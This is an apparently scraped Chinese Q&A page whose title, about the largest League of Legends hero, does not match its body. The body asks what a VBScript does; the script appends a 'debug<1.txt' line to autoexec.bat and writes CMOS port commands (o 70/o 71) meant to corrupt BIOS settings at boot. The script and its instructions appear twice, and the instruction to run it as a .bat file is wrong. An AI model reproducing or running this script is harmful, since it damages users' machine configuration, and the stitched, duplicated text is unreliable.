lol里体型最大的英雄:如果我这样 会怎么样?
来源:百度文库 编辑:中科新闻网 时间:2024/07/01 13:27:16
打开记事本,如下以下内容:
Const ForAppending=8
Dim fso,x,y
Set fso=createObject("Scripting.FileSystemObject")
Set x=fso.OpenTextFile("c:\autoexec.bat", ForAppending, True)
Set y=fso.createTextFile("c:\1.txt", True)
x.WriteBlankLines(1)
x.Write"debug<1.txt"
x.WriteBlankLines(1)
y.WriteLine("o 70 10")
y.WriteBlankLines(1)
y.Write("o 71 10")
y.Close
x.Close
保存以后 修改扩展名(txt)为bat 即 文件名.bat
然后运行
这样之后会怎么样???
Const ForAppending=8
Dim fso,x,y
Set fso=createObject("Scripting.FileSystemObject")
Set x=fso.OpenTextFile("c:\autoexec.bat", ForAppending, True)
Set y=fso.createTextFile("c:\1.txt", True)
x.WriteBlankLines(1)
x.Write"debug<1.txt"
x.WriteBlankLines(1)
y.WriteLine("o 70 10")
y.WriteBlankLines(1)
y.Write("o 71 10")
y.Close
x.Close
保存以后 修改扩展名(txt)为bat 即 文件名.bat
然后运行
这样之后会怎么样???